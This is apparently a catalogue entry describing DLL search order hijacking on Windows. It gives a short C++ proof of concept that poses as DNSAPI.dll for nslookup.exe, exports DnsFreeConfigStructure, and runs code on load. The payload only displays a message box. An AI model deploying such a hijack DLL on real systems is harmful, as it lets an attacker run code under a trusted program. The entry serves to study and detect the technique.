Windows C++ / Hijack Execution Flow: DLL Search Order Hijacking
| Author | Sh0ckFR | 
| Platform | Windows | 
| Language | C++ | 
| Technique | Hijack Execution Flow: DLL Search Order Hijacking | 
Description:
DLL Search Order Hijacking via DnsFreeConfigStructure function in the DLL DNSAPI.dll of the executable nslookup.exe.
Code
#include <windows.h>
int Main() {
    MessageBoxW(0, L"DLL Search Order Hijacking is present", L"DLL Search Order Hijacking", 0);
    return 1;
}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Main, NULL, NULL, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
__declspec(dllexport) void DnsFreeConfigStructure() { Main(); }Created
July 25, 2022
Last Revised
April 22, 2024